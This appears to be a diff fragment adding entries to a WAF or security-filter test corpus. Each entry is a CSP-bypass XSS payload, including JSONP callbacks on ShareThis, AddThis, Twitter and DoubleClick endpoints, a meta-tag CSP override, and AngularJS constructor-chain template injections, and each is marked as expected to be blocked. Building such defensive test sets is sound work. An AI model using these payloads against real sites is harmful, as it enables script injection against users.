+ "payload": "/?xss=<script>alert(1)</script>&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a",
335
+ "tags": ["csp-bypass", "php-warning", "header-bypass"],
336
+ "expected_block": true,
337
+ "severity_hint": "Critical",
338
+ "notes": "CSP bypass via PHP max_input_vars warning",
339
+ "category": "XSS"
340
+ },
341
+ {
342
+ "id": "XSS-CSP-131",
343
+ "payload": "<meta http-equiv=\"Content-Security-Policy\" content=\"script-src 'self' 'unsafe-inline'\">",
344
+ "tags": ["csp-bypass", "meta-tag", "csp-override"],
345
+ "expected_block": true,
346
+ "severity_hint": "Critical",
347
+ "notes": "CSP override attempt via meta tag injection",
348
+ "category": "XSS"
349
+ },
350
+ {
351
+ "id": "XSS-CSP-132",
352
+ "payload": "<script src=\"https://www.sharethis.com/get-publisher-info.php?callback=alert(1337)\"></script>",
353
+ "tags": ["csp-bypass", "jsonp", "sharethis"],
354
+ "expected_block": true,
355
+ "severity_hint": "Critical",
356
+ "notes": "CSP bypass via ShareThis JSONP callback",
357
+ "category": "XSS"
358
+ },
359
+ {
360
+ "id": "XSS-CSP-133",
361
+ "payload": "<script src=\"https://m.addthis.com/live/red_lojson/100eng.json?callback=alert(1337)\"></script>",
362
+ "tags": ["csp-bypass", "jsonp", "addthis"],
363
+ "expected_block": true,
364
+ "severity_hint": "Critical",
365
+ "notes": "CSP bypass via AddThis JSONP callback",
366
+ "category": "XSS"
367
+ },
368
+ {
369
+ "id": "XSS-CSP-134",
370
+ "payload": "<script src=\"https://api.twitter.com/1/statuses/oembed.json?callback=alert\"></script>",
371
+ "tags": ["csp-bypass", "jsonp", "twitter"],
372
+ "expected_block": true,
373
+ "severity_hint": "Critical",
374
+ "notes": "CSP bypass via Twitter oEmbed JSONP",
375
+ "category": "XSS"
376
+ },
377
+ {
378
+ "id": "XSS-CSP-135",
379
+ "payload": "{{0[a='constructor'][a]('alert(1)')()}}",
380
+ "tags": ["csp-bypass", "angular", "csti"],
381
+ "expected_block": true,
382
+ "severity_hint": "Critical",
383
+ "notes": "AngularJS CSTI CSP bypass via constructor",
384
+ "category": "XSS"
385
+ },
386
+ {
387
+ "id": "XSS-CSP-136",
388
+ "payload": "{{$eval.constructor('alert(1)')()}}",
389
+ "tags": ["csp-bypass", "angular", "eval-constructor"],
390
+ "expected_block": true,
391
+ "severity_hint": "Critical",
392
+ "notes": "AngularJS $eval.constructor CSP bypass",
393
+ "category": "XSS"
394
+ },
395
+ {
396
+ "id": "XSS-CSP-137",
397
+ "payload": "{{$on.constructor('alert(1)')()}}",
398
+ "tags": ["csp-bypass", "angular", "on-constructor"],
399
+ "expected_block": true,
400
+ "severity_hint": "Critical",
401
+ "notes": "AngularJS $on.constructor CSP bypass",
402
+ "category": "XSS"
403
+ },
404
+ {
405
+ "id": "XSS-CSP-138",
406
+ "payload": "{{constructor.constructor('alert(1)')()}}",
407
+ "tags": ["csp-bypass", "angular", "vue", "constructor-chain"],
408
+ "expected_block": true,
409
+ "severity_hint": "Critical",
410
+ "notes": "AngularJS 1.0.1-1.1.5 and Vue constructor chain",
411
+ "category": "XSS"
412
+ },
413
+ {
414
+ "id": "XSS-CSP-139",
415
+ "payload": "<link rel=\"preload\" as=\"script\" href=\"https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js\"><div ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</div>",
416
+ "tags": ["csp-bypass", "angular", "preload"],
417
+ "expected_block": true,
418
+ "severity_hint": "Critical",
419
+ "notes": "CSP bypass via Angular preload with CSTI",
420
+ "category": "XSS"
421
+ },
422
+ {
423
+ "id": "XSS-CSP-140",
424
+ "payload": "<script src=\"https://googleads.g.doubleclick.net/pagead/conversion/1036918760/wcm?callback=alert(1337)\"></script>",
425
+ "tags": ["csp-bypass", "jsonp", "doubleclick"],
426
+ "expected_block": true,
427
+ "severity_hint": "Critical",
428
+ "notes": "CSP bypass via DoubleClick JSONP callback",
429
+ "category": "XSS"
430
+ }
431
+ ]